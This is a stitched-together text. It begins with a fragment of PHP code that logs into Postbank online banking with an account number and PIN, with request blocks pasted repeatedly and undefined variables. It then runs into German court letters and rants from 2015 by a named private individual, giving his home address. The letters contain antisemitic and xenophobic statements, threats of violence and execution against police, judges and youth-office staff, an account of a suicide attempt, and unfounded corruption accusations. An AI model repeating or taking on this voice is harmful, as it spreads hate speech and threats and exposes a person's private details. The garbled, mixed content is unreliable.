$nhdr++; } return $sval; } function readchunked($fres) { $nbdy = 0; $sbdy = ""; while (true) { $nckh = 0; $sckh = ""; while (true) { $sckh .= fread($fres, 1); $nckh += 1; if ($nckh >= 2) { if (substr($sckh, ($nckh - 2), 2) == "\r\n") { break; } } } //echo "\$sckh '" . htmlentities($sckh) ."'"; $nckb = 0; $sckb = ""; $npos = strpos($sckh,"\r\n"); if ($npos !== false) { if ($npos > 0) { $nhex = substr($sckh, 0, $npos); $nckb = hexdec($nhex); //echo " \$nckb " . $nckb ."\r\n
" . $key_name . " = " . $key_value . "\n\n"; } function postbank($snum, $spin) { $NDBG=0; $sres = ""; $nerr = 0; $serr = ""; $ssrv="banking.postbank.de"; $sreq = ""; $sres = ""; if ($fres = fsockopen ("ssl://" . $ssrv, 443, $nerr, $serr)) { $sreq=""; $shdr=""; $sbdy=""; $surl="/rai/login?-1.IFormSubmitListener-login-loginForm"; $spst = ""; $spst .= "id3_hf_0=&"; $spst .= "jsDisabled=false&"; $spst .= "kennwort=" . $spin; $spst .= "&loginButton=Anmelden"; $spst .= "&nutzername=" . $snum ; $sreq .= (($spst == "") ? "GET" : "POST") . " " . $surl . " HTTP/1.1\r\n"; $sreq .= "Host: " . $ssrv . "\r\n"; if ($spst != "") { $sreq .= "Content-Type: application/x-www-form-urlencoded\r\n"; $sreq .= "Content-length: " . strlen($spst) . "\r\n"; } $sreq .= "Connection: keep-alive\r\n"; $sreq .= "\r\n"; if ($spst != "") { $sreq .= $spst . "\r\n"; $sreq .= "\r\n"; } if ($NDBG != 0) { echo "
" .htmlentities($sreq) . ""; } fwrite ($fres,$sreq); $shdr = readheader($fres); $slen = headervalue($shdr, "Content-Length", false); $slen = trim($slen); if ($slen != "") { if ($slen != 0) { $nlen = intval($slen); while (strlen($sbdy) < $mlen) { $sbdy .= fread($fres, 1); } } } if ($NDBG != 0) { echo "
" .htmlentities($shdr) . ""; echo "
" .htmlentities($sbdy) . ""; echo "
" .htmlentities($sreq) . ""; } fwrite ($fres,$sreq); $shdr = readheader($fres); $slen = headervalue($shdr, "Content-Length", false); $slen = trim($slen); if ($slen != "") { if ($slen != 0) { $nlen = intval($slen); while (strlen($sbdy) < $mlen) { $sbdy .= fread($fres, 1); } } } if ($NDBG != 0) { echo "
" .htmlentities($shdr) . ""; echo "
" .htmlentities($sbdy) . ""; echo "
" .htmlentities($sreq) . ""; } fwrite ($fres,$sreq); $shdr = readheader($fres); $slen = headervalue($shdr, "Content-Length", false); $slen = trim($slen); if ($slen != "") { if ($slen != 0) { $nlen = intval($slen); while (strlen($sbdy) < $mlen) { $sbdy .= fread($fres, 1); } } } if ($NDBG != 0) { echo "
" .htmlentities($shdr) . ""; echo "
" .htmlentities($sbdy) . ""; echo "
" .htmlentities($sreq) . ""; } fwrite ($fres,$sreq); $shdr = readheader($fres); $slen = headervalue($shdr, "Content-Length", false); $slen = trim($slen); if ($slen != "") { if ($slen != 0) { $nlen = intval($slen); while (strlen($sbdy) < $mlen) { $sbdy .= fread($fres, 1); } } } if ($NDBG != 0) { echo "
" .htmlentities($shdr) . ""; echo "
" .htmlentities($sbdy) . ""; echo "
" .htmlentities($sreq) . ""; } fwrite ($fres,$sreq); $shdr = readheader($fres); $senc = headervalue($shdr, "Transfer-Encoding", false); $senc = trim($senc); if ($senc == "chunked") { $nbdy = -1; $sbdy = readchunked($fres); $nbdy = strlen($sbdy); } if ($NDBG != 0) { echo "
" .htmlentities($shdr) . ""; echo "
" .htmlentities($sbdy) . ""; echo "
ICH hätte bestanden! Mein StPO Wissen zu Fristen/Gutachten etc. ist korrekt.
[_] (POLIZEI) WEISS WAS EIN OFFIZIALDELIKT IST [_] SIE WISSEN DAS FÜR
OFFIZIALDELIKTE NUR§ 158 (1) STPO ANWENDUNG FINDET NICHT ABER § 158
(2) STPO [x] (POLIZEI) HAT GEMEIN-GEFÄHRLICHE BILDUNGSLÜCKEN
@1. Revier und 5. Revier Frankfurt a.M.,korrupte Polizei Bad
Homburg v.d.HöheIch werde noch richtig ausfallend wenn Sie
Gesetzes-(oder schriebich gleich besser SCHWERVER-)brecher (§ 343 STGB)
sich weiterhin mit den Worten weigern Strafanzeigen entgegen-zunehmen:
?WEIL ICH NICHT IHRE TIPPSE BIN? SIE SIND NÄMLICH IM IRRTUM: § 158 StPO
?ZUR NIEDER-SCHRIFT? BEDEUTET DASS SIE MEINE TIPPSE SIND. UND WAS DAS
?ACH JA UND WIE WOLLEN SIE UNS DAS NACHWEISEN? angeht: FÜR JEDES MAL
DASS SIE SICH WEIGERN IHRE ARBEIT ZUMACHEN WERDE ICH SO RANDALIEREN DASS
SIE EINEN BERICHT WERDEN TIPPEN MÜSSEN UND ICH KANN ZUMINDEST
NACHWEISEN DASS ICH BEI IHNEN GEWESEN BIN UM MICH ZU BESCHWEREN
Was TATMEHR-/EINHEIT angeht:
http://sch-einesystem.tumblr.com/po?/121191117423/fraspa1822
Ich REAGIERE mit Randale auf FEHLERHATEN der PLIZEI um LETZTERS zur dokumenttion zu breingen und irm Rahemn der ATHERGANGSSCHILDERUNG DANN DIE STARFTETEN DER BEAMTEN SOZUSAEN ?ZUR AKNLEGE? ZU BRINGEN.
(Übrigesn: denken sie mal über folgendes nach: Oberst klein ist ein Soldat und Soldaten sind Mörder. Der ist bereits schuldig bevor das verafhren angefangen hat! ) Wer jeamnd anderen mit einer Vredachts"diagnose" begutachten lässt unterzieht ihn eienr VORVERUTILUNG!
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)611 / 3276-8535
an (das ?nicht ordentliche?)
Verwaltungsgericht Frankfurt a.M.
Adalbertstraße 18
D-60486 Frankfurt a.M.
Frankfurt/M., 12. Juni 2015
5 K 2215/15.F Bähring, Maximilian ./. Land Hessen
Also Humor haben sie ja. Ich wehre mich gegen einen ungerecht-fertigten Verwaltunsgakt und noch bevor irgendetwas entscheiden ist ? es also wahrscheinlich ist dass das Land Hessen die ausein-anderstzung in letzter Instanz verliert - wollen Sie neben den Portokosten die mir für das Verfahren jetzt schon entstehen nun auch auch noch einen Vorschuß haben? Für eien Sache die Sie am Ende verlieren? Haben die damit noch nicht genügend unnötige Gebühren verursacht. Ich dachte immer die korrupten Frankfurter Polizisten erpressten durch die bei der ?Polizeiberatung? parktizierte Vermittlung von Schlosserdienstleistungen anstatt Verbrechens-aufklärung schon genügend ?Schutzgeld?.
Um Kostenvorschuß entgehen stelle ich hiermit frist und formlos Antrag auf Prozesskostenhilfe. So lange nicht in letzter Instanz entschieden ist (Dauert meinen Erfahrungen mit Familiengerichten nach mal mindestens 14 Jahre) zahle ich erstmal gar nichts. Vielmehr fechte ich den Kostenentscheid eine Prozesskostenvorschußes hiermit noch vor Erhalt getrennt an. Glauebn sie mir, das geht!
Wäre das Vorgehen des Gerichtes auch nur im Ansatz rechtlich haltbar könnet man jemandem schon dadurch daran hindern Klage gegen einen ungerechtfertigten Verwaltungsakt einzureichen indem man ihm vorprozessual durch solchen Vorschuß(BETRUG?) regelrecht ausplündert so dass er sich mangels verbliebenen Vermögens und am besten noch nicht erteilter Prozesskostenhilfe nicht wehren kann. Ich bin von gerichten einiges an Willkür und Grundrechtsbeugeung gewöhnt, aber das geht nun wirklich etwas zu weit.
Ws Fundamentalnormen angeht gibt es da eine
Rechtsweggarantie in Artikel 19 Grundgesetz. Ich entscheide die nächsten
Tage ob ich Befangenheitsantrag - wegen Aufbauens dieser
UNSINNIGEN vorprozess-ualen Hürde ? was ich einseitig parteisch befangen
ansehen zurücknehme oder nicht den ich hiermit schonmal stelle. /-2-
-2-
Ihr Beschluß ist aber ganz sicher anfechtbar und zwar mindestens durch Verfassungsbeschwerde oder den Gang nach Strasbourg. Abgesehn davon ist zu prüfen ob die zugrundeliegende Vorschrift der Kosten-festsetzung gegen die Verfassung verstößt.
So lange eine Forderung strittig ist und so lange das nicht in letzter Instanz ausgefochten ist kann aus ihr keine Zahlung geltend gemacht werden. Das wissen Sie so gut wie ich. Sonst könnte man jemanden mit einer flut von Klagen überziehen und in die Insolvenz treiben ohne dass er sich gerichtlich wehren kann.
Ich verstehe ja daß die koksenden Abgeordneten für ihre Nutten und ihre Drogen dringend Geld benötigen ? aber das ausplündern von HartzIV Empfängern ist hier sicher nicht der richtige Weg.
Warum laufen Faxe des Verwaltungsgerichtes Frankfurt a.M. eigentlich in Wiesbaden auf? Damit auch hier wieder erhöhte Kosten anfallen?
Einer Mediation stimme ich in keinem Falle zu. Ich hatte der Gegenseite ausreichend Möglichkeit gegeben ihren Unfug zurück-zuziehen.
Da ich Befangeheitsantrag gegen den kostenfeststezenden Richter gestellt habe ? weil ich unmöglich gegen einen mir unbekannten Riche solchen Antrag stellen kann - bei erster Möglichkeit - kann sein Kostenfestsetzungsbeschluß gar nicht rechtskräftig werden weil er damit rückwirkend befangen ist. Hier will mal wieder einer sein Mütchen kühlen, wie die Beamten die mich mehrfach bedroht und zusammengeshlagen haben weil ich den Weg der Dienstaufsichts-beschwerde und Strafanazeige wegen Polizeiegwalt gewählt habe. Die sind nämlich stinkendfaul und bearbeiten Anzeigen wegen Offizialdelikten (schwer Körperverletzung /Raubüberfall /Mord-versuch) gar nicht. Das Einterent der Tür war mal wieder so ne aktion um mir AUS RACHE Kosten zu verursachen. Und dagegen wehre ich mich ja.
Ich geh mit dem Kram zum Anwalt sobald ich ihren Schrieb habe und es kotzt mich an dass Leute wie sie der Staatskasse unnötioge Gebühren verursachen dadruch dass Sie die Sache unnötig komolizieren. Solche Ausgaben ? wie etwa ihr Gehalt und ihre Pension ? sollte man besser einsparen, Richter Steier.
Gots gruß aus Deutsch and!
Maximilian Bähring
Die THOR STEINAR Aufkleber Brüder die hier in Audi 80s rumgurken haben
den Ausländischstämmigen vom Post-Shop soweit dass er wegen der Attacke
auf mich bei der er dabei war und ich in den Laden flüchtete nicht
aussagen will.
http://wuergerjagd.tumblr.com/post/87690122780/maximilian-bahring-holderlinstrasse-4-d-60316
?Ich will hier nur meine Briefmarken verkaufen? - das ist
die Zivilccourage die man zurückbekommt wenn man sich mal mit
Zivilcourage für Ausländer eingesetzt hatte.
Es handelt sich
um den Post-Shop in dem es nur AM WOCHENENDE KEINE EINWURFEINSCHREIBEN
gibt sondern anders als unter der Woche nur normale EINSCHREIBEN und der
die existenz der Postdienstlestung Auslandseinschrieben RÜCKSCHEIN
verleugnet.
Vielleicht liegt das amn ?NETTEN? Herrn von der
Polizei der uim Deinstwagen da vorbeifährt und mit Paketen unter dem Arm
wieder verschwindet. WÄRE JEDENFALLS NE ERKLÄRUNG FÜR EVSCHWUNDENE
AUSEGEHENDE POST!
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)721 / 9101-382
Bundesverfassungsgericht
Schloßbezirk 3
D-76006 Karlsruhe
Frankfurt/M., 12. Juni 2015
Verfassungsbeschwerde: verletztes Grundrecht: ?Rechtweggarantie?
auf ?Wirksame Beschwerde? aus Artikel 19 Absatz 4 Grundgesetz
5 K 2215/15.F Bähring, Maximilian ./. Land Hessen
Ich habe nach reiflicher mehrjähriger Überlegung einen Suizidversuch unternommen der leider deshalb nicht erfolgreich war weil man meiner Patientenverfügung zuwider handelnd versucht mich am Leben zu erhalten um mich weiter foltern und fianziell ausnehmen zu können.
Grund ist dass ich den permanenten Psychoterror und wie Willkür-gewalt hessischer Polizisten nicht mehr ertrage, respektive dass diese für ihr zusammschlagen von Bürgern einfach nicht zur Verantwortung gezogen werden. Und eine seit mehr als einem Jahrzehnt kindesentführende Mutter meiner Tochter ebenso wenig welche dieselbe in einer esoterischen Sekte großzuziehen versucht was ich nicht Will und was Grund für die Trennung war. Letzteres hat man mir passender-weise an Heiligabend per Boten zustellen müssen bei mehr als 14 Jahren gerichtlicher Auseinandersetzung genau der passende Zeit-punkt. Beim Suizidversuch habe ich vorab allen Stellen eine Patientenverfügung zur Kenntnis gebracht die lebensverlängernde Maßnahmen untersagt und dafür sorgen soll dass der Versuch auch nicht gestört werd und erfolgreich ist.
Aber
deutsche Polizisten foltern lieber weiter lassen einen nicht mal
friedlich streben wenn man deren permanenten Psychoterror nicht mehr
erträgt Stattdessen schlagen Sie einem GRUNDLOS (wiederholt übrigens)
die Tür ein (Falschbeschuldigung der Drogennahme) und ihr Opfer (mich)
dabei teilst schwerst zusammen. Und für solche Einsätze wollen die auch
noch Geld haben. Und wenn man sich gegen den Gebührenbescheid
gerichtlich zur Wehr setzen will soll man eben angeblich unanfechtbare
Prozesskostenvorschüße zahlen oder eine eidesstattliche Versicherung
abgeben mit der sei einen schon VORPREOZESSUAL ? bevor die
Rechtmäßigkeit einer Fordrung geklärt ist - ausplündern können. ?/-2-
-2-
Es verletzt die in Artikel 19 Absatz 4 Grundgesetz vorgsehene Rechtsweggarantie wenn ich mich in einem Verfahren in dem ich mich gegen eine unsinnige Forderung der öffentlichen Verwaltung wehre dadurch hieran gehindert wird dass dann die zu Unrecht erhobene Gebühr einfach zumindest teilweise als ?Prozesskostenvorschuß? erhoben wird. Wäre das zulässig könnte eine Behörde einen Bürger ohne jegliches Verfahren durch UNGERECHTFERTIGTE Bescheide für deren Abwehr er dann auch noch neben den ihm zu Unrecht entstehenden Portokosten für VORSCHÜSSE Gerichtsgebühren in Anspruch genommen werden können soll. Die Abwehr von BehördenWILLKÜR muß für den Bürger kostenfrei sein.
Das kommt ansonsten der faktischen Abschaffung der Rechtsstaatlichkeit und der Rechtsweggarantie gleich. Denn der Staat ? im vorliegenden fall korrupte Beamte die ihr Mütchen kühlen wollen nachdem Sie fürs zusammenschlagen eins Bürgers angezeigt wurden- erhebt ja in jedem Falle vorher Gebühren auch wenn sie sich nach gerichtlicher Auseindersetzung als ungerechtfertigt herausstellen würden. Damit könnte man ? die Verfahrensdauern vor deutschen Gerichten berücksichtigt ? jeden Bürger in den Ruin treiben!
Im vorliegenden Fall hatten Beamte dem Bürger die Tür eingetreten weil sie wohl befürchtet haben wegen Mord angeklagt zu werden wenn das Opfer der massiven Gewalt dem nachweislichen Psychoterror ? die Anzeigen wegen schwere Körperverletzung gegen die Beamten wurden nicht entgegengenommen und später nachdem ich eine Entgegennahme erwirkt hatte nicht bearbeitet, Gerichtspost wurde falsch adressiert damit Sie von den Angezeigten abgefangen werden konnte (ich befände mich angeblich im Polizeikrankenhaus, dort wo sie mit gefälschten Betreuungsvollmachten Zugriff auf die Post haben) - nicht mehr standhält und sich das Leben nimmt. Aktenzeichen 992 BS 7/13 Amtsgericht Frankfurt a.M.. Die Beamten haben mehrfach meine Wohnungtür eingetreten um mich einzuschüchtern nachdem ich Sie strafangezeigt hatte (Aktenzeichen 3 ZS 1795/08 Generalstaatsanwalt Frankfurt a.M. aus 2008) mich NACHWEISLICH des Drogenkonsums FALSCH-BESCHULDIGT zu haben. Auch meine Briefpost haben Sie unterschlagen das habe ich gemerkt und erstmals nachweisen können als Wahlbenachrichtigungskarten fehlten und die PIN/TAN Listen die mir die Spar-kasse zusenden wollte. Ich hatte mit einer gültigen Patientenverfügung vorgesorgt die medizinisch lebensverlängernde Behandlung ausschließt dass sein Suizidversuch erfolgreich ist. Die Beamten haben sich also nicht an die Ihnen ausdrücklich zur Kenntnis gebrachte (zeitnah zum Ereignis nochmals) Patientenverfügung gehalten. ?/-3-
-3-
Wenn das Schule macht
dann werden in Zukunft wohl auch bald Nieren von lebenden Menschen gegen
deren Willen geklaut denen man einfach unterstellt sie befänden sich im
Zustand drogeninduzierter geistiger Umnachtung wenn sie sich gegen eine
Organspende aussprechen.
Immerhin hatte man ja in der Presse angeregt bevor jemand H(artz)IV erhalte könne man ihn ja ZWINGEN seien Organe zu verkaufen.
Der Willkürakt gegen den ich mich wehre ist Rechnung für eine von den Beamten mal wieder eingetretne Tür. Ich habe das als Sachbeschädigung strafangezeigt. Gegen die Rechnung klage ich. Und für die Klage wollen sie jetzt auch noch Prozesskostenvorschüsse erpressen was einem Zwang zum unterlassen der Rechtsmitteleinlegung gleichkommt.
Daß ich während meines Zivildienstes sexuell mißbarcuht wurdd haben Sie übrigens auch nicht aufklären wollen die korrupten Bullen-schweine.
Erst foltern Sie einen per jahrtzentelangem Psychoterror in den Selbstmordversuch und dann wenn sie soweit Erfolg haben wollen sie einen noch künstlich am Leben erhalten weil sie einen noch nicht sadistisch genug foltern und einem vor allem noch nicht genügen Geld abnehmen konnten. Das soll ?Freiheit? sein.
Gots gruß aus Deutsch and!
Maximilian Bähring
PS: Vergasen von Juden war in Deutschland auch mal VOLLKOMMEN legal!
Da
sieht man was man von der deutschen Justiz zu halten hat die eine wie
die STASI/GESTAPO agierende Polizei auch noch in Schutz nimmt.
Ansatt
mir etwas zu Essen kaufen zu können muß ich nun wieder mein H(artz)IV
für Eiscshreibebriefe ausgeben weil Gerichte sonst frech behaupten
sie bekämen meine Post nicht. Denn Eingangsbestätigungen aus denen
hervorgeht was sie wann erhalten haben bekomme ich grund-sätzlich nicht.
Gericht kennt - WIE AUCH DIE POLIZEI - Postleitzahl nicht!
Ging ja ?vorab per Fax? insofern: ?kleiner Flexibilitätstest?!
Dem Verwaltungsgericht hab ich nur die Verfassungsbeschwerde gesendet
weil es den Rest ja schon hat, dem BVerfG einen vollständigen Schriftsatz.
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)69 / 1367-2100
Staatsanwaltschaft
Konrad Adenauer Straße 20
D-60313 Frankfurt a.M.
Frankfurt/M., 15. Juni 2015
Strafanzeige
Korruption und in die eigene Tasche wirtschaften,
hier am Beispiel überhöhter Schlosserrechnungen
Da hat der korrupte ?Winkler? noch gemeint er müsse einem Schlosser ein zusätzliches Weihnachtsgeld verschaffen auf meine Kosten. Ich ersatte Strafanzeige wegen des Betruges mit einer viel zu hohen Rechnung die mir auch gar nicht zur Prüfung vorliegt. Vielmehr versucht die durch und durch korrupte Polizei die ja auch Schlossern Aufträge verschafft indem sie keine Einbrücghe aufklärt sondern stattdessen ?Shops? mit ?Polizeiberatung? (am OLG) betreibt in welcher Sie den Bürgern die Opfer einer Straftat werden auch noch zu allem Überfluß versucht Leistungen der Schlosserinnung aufzunötigen.
Wir wissen ja dass die Beamten Meldergeister fälschen und permanent die Bürger provozieren, sie falsch beschuldigen, verdächtigen und auf das allerübelste verleumden! Abegsehen davon Schützen Sie Totschläger, Möder und Kinderschänder vor Strafverfolgung ? warum wohl ? selbst beteiligt?
Ich erstatte also gegen den Beamten Winkler neben der bereits erstatten Strafanzeige wegen Sachbeschädigung auch noch Anzeige wegen des Verdachtes auf Korruption und Betrug.
Gots gruß aus Deutsch and!
Maximilian Bähring
Die Polizei darf nicht an Schaden/Verbechen verdienen sondern Sie muß daran verdienen dass Verbrechen aufgeklärt werden oder Verbrechen oder Unfälle nicht geschehen.
Für die begradigte Kurve des Unfallschwerpunktes wegen dem keine Lebensversicherungs-prämie mehr ausgeschüttet werden muß weil aufgrund des Umgestaltens der Trassenführung mit Unfalldaten der Verkehrspolizei nichts mehr passiert sollen die Boni der Beamten aus den eingesparten Ausschüttungen kommen. Es soll nicht mehr Geld für mehr Beamte geben weil mit immer schnelleren Autos immer mehr Autofahrer zu Tode kommen.
Wir haben zentrale Datenbanken und automatische Tachos und müssen keine Hellseher vom typ ?Final Destination? (Film) sein um zu wissen wann ungefähr irgendwo Bremsbeläge fällig werden. Das ist auf Dauer so absehbar wie der Lüfter oder Festplattenaufall beim PC weil das mechanisch bewegte Verschleißteile sind. Wenn ich Bremsbleäge nur noch gegen Personal-ausweisvorlage verkaufe kann ich kontrollieren ob sie jemand unfachmännisch verbaut und dies nicht - per Internet ? binen eienr Frist in ein zentrales Register einträgt (Was ist damit passiert, wo ist der fehlende Einbaudatensatz in der Internet-Datenbank)
Hellseherei ist reine Datenbankabfrage-Statistik.
http://static.tv.nu/collection/86731?width=240
Wissen
Sie warum JÜDSICHE oder MUSLIMISCHE FRAUEN per der suche nach einem
Partner benchteiligt sind? Weil kein potentieller Partner aus eienr
anderen Religion sich freiwillig beschneiden läßt. Das ist genau wie mit
dem schönen Satz der beim Arzt fällt: Er sei der erste in 35 jahren
Berufspraxis der sich als Erwachsener noch beschneiden ließe. Verbietet
man das beschneiden in der Kindheit als Köperpeverletzung dann werden
ganz sicher keine Jungen Männer mehr den islamischen oder jüdsichen
Glauben auf diesem Wege annehmen.
Nicht ich hasse die Juden - das ist eher umgekehrt - die Moslems und Juden hassen mich bis in den Tod - erkennba an der HEtzkampagne mit ichw eiß nicht wie vielen strafnzeigen gegen mich - weil ich MÄNNLICHE kinder vor unnötigen rituellen verstümmelungen schützen will.
genau wie ich gesagt habe ich will das sorgercht für mein kind um zu verhidnern daß meien EX es der REIKI Sekte einverleibt.
https://www.ndr.de/kultur/geschichte/chronologie/caparcona100_page-2.html
1 x Cap Arcona ist 2 x die Titanic (an unschuldigen Opfern)!
Ich
bin stinksauer wie hier nicht-deustchstämmige die Jugend BELÜGEN was
?BOOTSFLÜCHTLINGE? sind oder ?FLÜCHTLINGSZÜGE (DDR)? um für sich selbst
ein ?Siedlungsrecht? herauszuschinden.
Ich erkläre es jetzt
Gerichten Jugendämtern und der Polizei nochmal: Als Saddam Hussein
Hans-Blix und die UN-Waffeninspektoren nicht reinlassen wollte hatten
George Bush da das Recht Sadam Hussein anzudrohen ihm eine Bombe in
seinen Palast zu werfen und ihn zu töten?
Ich drohe Ihnen an mit
militärsicher gewalt egen ihre Verwaltung vorzugehen WENN SIE DIE
AUFLAGE nicht erfüllen ihre verdammte Arbeit zum machen. Das ist die
bedingte Drohung einer (in diesem falle nach Artikle 20 absatz 4 GG
aufständischen Nostands-) Regierung mit dem erlaubten Mittel
militärischer Gewalt und oder staatlicher Repression.
Was sie hingegen machen wollen sind nicht so sehr ehrverletzende zutiefst in der Menschen-würde zu Untermenschen herabsetzende rechtsmissbräsuliche Schweinereien für die sie am nächsten Laternenmast aufgeknöpft gehören. In Jugsolwaien ist man auch einmasrchiert als die dort zu viel Menschenrechtsscheisse gebaut haben und eine Bevölkerungsgruppe benachteiligt und verfolgt.
Als Racheakt wäre es denkbar den Jugendamtsmitarbeiteren und Richtern und Polizisten ihre Kinder jahrzehntelang zu entführen und sie entgegen deren Willen Religionen denen die Eltern nicht angehören per sagen wir genitalverstümmelnder Beschneidung einzuverleiben. Abgesehen davon muß es mit Sorgerecht belohnt werden solche Kinder gegen ihre Eltern aufzuhetzen.
Das was sie getan haben ist eien solche ÜBLES VERBRECHEN GEGEN DIE MENSCHLICHKEIT wie es zuletzt die NAZIs begangen haben als sie die Menscheneingeteilt haben in Menschen erster und rechtlosen Zwangsarbeitssklaven zwoter Klasse, religiös andersdenkende Juden und Behinderte.
Ich bin angetreten Sie zu richten (wie im Worte HINRICHTEN) nicht zum urteilen.
Ich habe die Schnauze voll davon dass Kinder ihre Wurzeln nicht kennen sollen weil Frauen fremdgehen, und nicht heilig sind, weil Besatzungstruppen in Duetschland vergewaltigt oder zumindest humanitäre Notlagen ausgenutzt haben (Kriegsverbrechen?) und weil Leute die ethnisch hier so hergehören wie niederländsiche Buren nach Südafrika oder protestantische Europäer auf die Jagdgründe nordamerikansicher Indianer oder katholische Spanier ins Land der Indios meinen dass alles was sein Besitz- und Bleiberecht darauf gründet als (Volks-)Stamm fest verwurzelt zu sein mit einem Stück Land ein Rassist sei der der Völkerwanderung entgegensteht.
ich edenfalls denke bei BOOTSFLÜCHTLINGEN an die IWlhelm Guslov du die Cap Arcona, diegrößten Schiffskatastrophen der MEnshcheitsgeschichte wo britsiche Bomber allein imFalle der Cap Aracone doppelt so viele Ostpreußen-flüchtlinge (Heimatsevrtrieben) versenkt haben wie es beim Untergang der Titanic der viel medienwirksamer ist tote gab darunter auch KZ-Häftlinge.
ASYL bedeutet hemandem Unterkunft zu gewähren. Nicht umsonst stht das wort ASYLUM - die Zuflucht ? in vielee anderen Sprachen für Häuser (obadachlosen-ASYL). Wenn wir uns vergegenwärtigen wer im Mai 1949 ? das ist als der letzte Nazi zumTode verurteilt ist im April 1949 ? politisch verfolgt ist. Ich wage zu behaupten dass kein einziger Vater des Grudngestzes an irgendwelche armustzuwanderer gedacht hat in einem zerbombten am Boden liegenden deuscthalnd 1949, ich gehe woeit zu behaupten dass das asylrecht rechtmsissbräuchlich agewedet wird weil es das Recht der heimatvertreibene ist in der budnesrepublika ufgenommen zu wrden.
Ich kenne keine einzigen eingebürgerten ?Pass-?Deutschen
der sich vernwtaortlich fühlt für den Holocaust bei dem er nicht zum
Tätervolk gehörte aber den ?Bio?-deustchen Kindern von Deustchen die
ebenfalls nicht dabiewaren den nazi zu unterstellen dabei seind die
militanten Ausländer immer schnell wenn es darum geht irgendwelche
gelder lockerzumachen.
ILLEGALE kommunistische Unruhestifter die gegen Deutsche hetzen und Drogen an Schulen verteilen haben hier nichts zu suchen.
Ein
Illegaler ist immer ein illegaler Einwanderer, jemand ohne
Apiere/Arbeitserlaubnis, etwas das sich imübrigen gegenseitig bedingt.
Denn
Tiere oder Pflanzen können nichts illegales tun. Beim Behinderten
hingegen besteht verwechslungsgefahr des behidnerten Menschen mit einem
behinderten, sagen wir dreibeinigen, Hund.
Tiere sind keine
Rechtsträger - sie haben zwar Rechte sind aber starfunmündig - und daher
ist Illegaler nicht wie bei Behinderter ohne den Menschen hintedrann
?Behinderter Mensch? möglicherweise mißverständlich.
Merkmalsträger
der Illegalität eines Aufenthaltes kann nur ein Mensch sein weil ein
Tier zwar Einfuhr/Impf-Papiere haben kann aber eben nicht selbst dafür
veratwortlich ist.
Daß diese feinheit der deustchen Sprache in
den Schädel von jemandem nicht reingeht der aus Jugoslawien kommt oder
aus der Türkei oder aus Afrika ist mir klar aber denen nicht.
ILLEGALES sinnverzerrendes verKÜRZEN eines Artikels:
Nicht
mein Onkel der Kampfpilot erschoß fliehende Zivilisten sondern mein
Großonkel Georg R, war Bordingenieur bei der Hamburg Süd deren Cap
Arcona mit Ostpreußen-Flüchtlingen und KZ-Häftlingen an Bord von der
britschen Royal Air Force am 3. Mai 1045 in Brand geschossen und
versenkt wurde. Es handelt sich um die opferreichste zivile
Schiffskarsatrope aller Zeiten mit doppelt so viel Toten wie beim
titanic-Untergang. Ich lass mir von so RASSITSICHEN DESUTCHENHASSENDEN
zuwnadererknilchen hier nicht erklären was deustche Geshcihte ist.Das
wird totgeshiegen weil es den Engländrn hochtnotpeilnlichist
fliehedne Juden umgebracht zu haben,
Und noch wasd: Die Nato
überwachte MIT DEUSCTHER BETEILIGUNG den serbischenLuftraum per AWACS.
Daß ussie einen AWACS nicht voneienm Tornade unterscheiden können st
mitr kalr.
Einem Illegalen Meschen ist immer desutlich daß
er sichillegal irgendow aufhält. Das unetsrcheidet ihn vom tier. Ein
Tier ohne Impfpapiere wäre zudem ebenfalls ein ILLEGAL ins Land
gebrachtes.
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)611 / 32761-8535an (das ?nicht ordentliche?)
Verwaltungsgericht Frankfurt a.M.
Adalbertstraße 18
D-60486 Frankfurt a.M.
Frankfurt/M., 19. Juni 2015
5 K 2215/15.F Bähring, Maximilian ./. Land Hessen
Beiliegenden Antrag auf Prozesskostenhilfe übermittle ich Ihnen auf dem Wege von mehreren Fax-Schreiben und nochmals als Einschreiben (somit in zweifacher Ausfertigung). Ich habe Anspruch auf Schutz meiner Daten und ich gehe davon aus dass ich rechtsbeugerisch zu Prozesskostenhilfebeitrag GENÖTIGT werde um die Angaben sachfremd zu verwerten. Im Prinzip hätte es nämlich vollkommen genügt wie auf Seite 2 der Erklärung über die persönlichen Wirtschaftlichen Verhältnisse oben vermerkt für jemanden der von Arbeitslosengeld 2 lebt (das ist gelich Sozialhilfe seit der Hartz 4 Gesetzgebung) dies anzugeben. Hier dient der überflüssige Antrag allein dazu mich dahingehend zu schädigen in Probleme zu geraten was die RECHTS-ANSPRÜCHE auf aus in 2003 noch vorhandenen Gesellschaftsanteilen angeht auf Ansprüchen aus denen ich im noch kommenden Klagewege nicht verzichten will, dass diese nämlich ? ohne Kompensation §34(2) GmbHG - den Mitgesellschaftern zurück-gegeben werden müssen. Muss ich nämlich über mein Vermögen eidesstattliche Auskünfte geben war es das mit den Gesellschaftsanteilsansprüchen (glücklicherweise nur der inaktiven neu gegründeten GmbH, nicht des damals aktiven Firmenmantels). Schon deshalb habe ich bei beiden Unternehmen peinlichst darauf geachtet dass meine 50% Mitgesellschafter die Firma nicht von der vorherigen für die sei Anteile hatten nicht in diejenige Rechtsform mit neuen Gesellschaftsvertrag überführen ? für den der Kaufvertrag der Anteile der aktiven Gesellschaft ausdrücklich nicht galt) - der dies ermöglicht (mich also übervorteilt) unter hört, hört der Voraussetzung daß man den Mitgesellschafter von Mitarbeitern unter Alkohol setzten lässt und dann fotografieren wobei Mitarbeiter dann den Firmenwagen um den nächsten Laternenpfahl wickeln und behaupten der aus der Gesellschaft zu mobbende Anteilseigner sei gefahren denselben zu enteignen weil er angeblich Suchtkrank sein soll. Deshalb auch immer wieder stalkende (angeblich von ihren Ehemännern verprügelte hilfesuchende) Frauen die mit Six-Packs Bier vor der Tür stehen und Klingeln. Oder Leute die besoffen vor der Tür stehen und mich zu mit dem Leben bedrohen (Rossmann im Hessenring) oder zu erwürgen versuchen (Untermieter der Nachbarin aus Appartment 20) oder einfach auf offener Straße zusammenschlagen (mehrer Vorkommnisse) oder Überfallen! ICH UNTERSAGE IHNEN AUSDRÜCKLICH JEDE PROZESSFREMDE VERWENDUNG DER VON IHNEN SO GEWONNEN DATEN. SIE SIEND NUR FÜR DEN PROUESSKOSTENHOLFENANTRAG DAS AKTUELLE VERFAHREN (ZU VEWRWENDEN. Ich kenn da so einen 